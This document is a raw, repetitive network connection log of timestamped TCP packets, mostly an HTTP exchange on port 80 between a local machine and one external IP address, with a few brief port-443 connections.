Nov 22, 2024 23:06:38.253500938 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.253542900 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.254192114 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.254245043 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.254363060 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.254424095 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.254983902 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.255043030 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.255183935 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.255341053 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.255810976 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.255908966 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.255986929 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.256098986 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.256601095 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.256658077 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.256856918 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.256912947 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.257395983 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.257448912 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.257667065 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.257853031 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.258276939 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.258346081 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.258476019 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.258563042 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.259020090 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.259073019 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.259197950 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.259258032 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.259834051 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.259949923 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.259962082 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.259993076 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.260615110 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.260664940 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.260747910 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.260797024 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.261435032 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.261480093 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.261629105 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.261676073 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.262244940 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.262291908 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.262573004 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.262618065 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.263053894 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.263096094 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.263171911 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.263226032 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.264005899 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.264056921 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.264467955 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.264518976 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.264662981 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.264710903 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.264842987 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.264899015 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.265476942 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.265527010 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.266319036 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.266354084 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.266375065 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.266390085 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.266411066 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.266434908 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.330533981 CET	49859	443	192.168.2.5	52.182.141.63
Nov 22, 2024 23:06:38.330595016 CET	443	49859	52.182.141.63	192.168.2.5
Nov 22, 2024 23:06:38.330794096 CET	49859	443	192.168.2.5	52.182.141.63
Nov 22, 2024 23:06:38.331062078 CET	49859	443	192.168.2.5	52.182.141.63
Nov 22, 2024 23:06:38.331088066 CET	443	49859	52.182.141.63	192.168.2.5
Nov 22, 2024 23:06:38.331296921 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.331357956 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.331542015 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.331552029 CET	49860	443	192.168.2.5	20.110.205.119
Nov 22, 2024 23:06:38.331588984 CET	443	49860	20.110.205.119	192.168.2.5
Nov 22, 2024 23:06:38.331600904 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.331650019 CET	49860	443	192.168.2.5	20.110.205.119
Nov 22, 2024 23:06:38.331717968 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.331733942 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.331783056 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.331849098 CET	49860	443	192.168.2.5	20.110.205.119
Nov 22, 2024 23:06:38.331859112 CET	443	49860	20.110.205.119	192.168.2.5
Nov 22, 2024 23:06:38.332490921 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.332541943 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.332819939 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.332869053 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.333334923 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.333350897 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.333379030 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.333401918 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.334121943 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.334218025 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.334973097 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.334989071 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.335005045 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.335046053 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.335068941 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.335716009 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.335776091 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.336117029 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.336163044 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.336543083 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.336590052 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.336882114 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.336941004 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.337352991 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.337402105 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.337641001 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.337827921 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.338150024 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.338260889 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.338572979 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.338619947 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.339004040 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.339027882 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.339061975 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.339076996 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.339792967 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.339843988 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.339947939 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.340034008 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.340586901 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.340620995 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.340646029 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.340658903 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.341399908 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.341609001 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.342211962 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.342226982 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.342242956 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.342289925 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.342307091 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.342989922 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.343136072 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.343322039 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.343368053 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.343930006 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.344022036 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.344640970 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.344655037 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.344682932 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.344691992 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.344705105 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.344727039 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.345424891 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.345487118 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.347238064 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.347294092 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.347426891 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.347441912 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.347490072 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.347573042 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.347590923 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.347632885 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.347652912 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.347855091 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.347906113 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.347939968 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.347997904 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.348700047 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.348793983 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.348916054 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.348965883 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.349575043 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.349591970 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.349642038 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.350294113 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.350341082 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.351181030 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.351197004 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.351212978 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.351232052 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.351258039 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.351958990 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.352004051 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.352124929 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.352186918 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.395981073 CET	49861	443	192.168.2.5	23.96.180.189
Nov 22, 2024 23:06:38.396018028 CET	443	49861	23.96.180.189	192.168.2.5
Nov 22, 2024 23:06:38.396090031 CET	49861	443	192.168.2.5	23.96.180.189
Nov 22, 2024 23:06:38.396258116 CET	49861	443	192.168.2.5	23.96.180.189
Nov 22, 2024 23:06:38.396272898 CET	443	49861	23.96.180.189	192.168.2.5
Nov 22, 2024 23:06:38.456262112 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.456346989 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.456357956 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.456394911 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.456696033 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.456746101 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.456826925 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.456877947 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.457485914 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.457540035 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.457601070 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.457639933 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.458275080 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.458338022 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.458368063 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.458408117 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.459081888 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.459141970 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.459209919 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.459333897 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.459906101 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.459961891 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.459961891 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.460004091 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.460727930 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.460850000 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.460875988 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.460896969 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.461536884 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.461627960 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.461642027 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.461673975 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.462328911 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.462382078 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.462388039 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.462419987 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.463126898 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.463188887 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.463411093 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.463466883 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.463952065 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.464025021 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.464059114 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.464101076 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.464736938 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.464802027 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.464885950 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.464921951 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.465563059 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.465640068 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.465698004 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.465802908 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.466384888 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.466485977 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.466497898 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.466519117 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.467170000 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.467210054 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.467384100 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.467422962 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.467974901 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.468039036 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.468049049 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.468080044 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.468772888 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.468863010 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.468923092 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.468967915 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.469578981 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.469623089 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.469719887 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.469764948 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.470438004 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.470453978 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.470479965 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.470501900 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.471223116 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.471282005 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.471389055 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.471719980 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.472048044 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.472103119 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.472146988 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.472183943 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.472826004 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.472872972 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.473062992 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.473109007 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.473625898 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.473730087 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.474009037 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.474052906 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.474421978 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.474463940 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.474613905 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.474659920 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.475228071 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.475442886 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.475461960 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.475474119 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.476119995 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.476162910 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.476929903 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.476946115 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.476960897 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.476975918 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.476999044 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.541943073 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.542001963 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.542123079 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.542176008 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.542351961 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.542398930 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.542547941 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.542593956 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.543195963 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.543253899 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.543296099 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.543343067 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.543946028 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.543993950 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.544199944 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.544261932 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.544749975 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.544792891 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.545058012 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.545173883 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.545557022 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.545598984 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.545995951 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.546092987 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.546354055 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.546401024 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.546571016 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.546616077 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.547192097 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.547234058 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.547306061 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.547360897 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.547990084 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.548130989 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.548137903 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.548166037 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.548814058 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.548861980 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.548938990 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.549004078 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.549743891 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.549761057 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.549801111 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.549815893 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.550412893 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.550477982 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.550632954 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.550739050 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.551206112 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.551328897 CET	80	49762	185.215.113.206	192.168.2.5
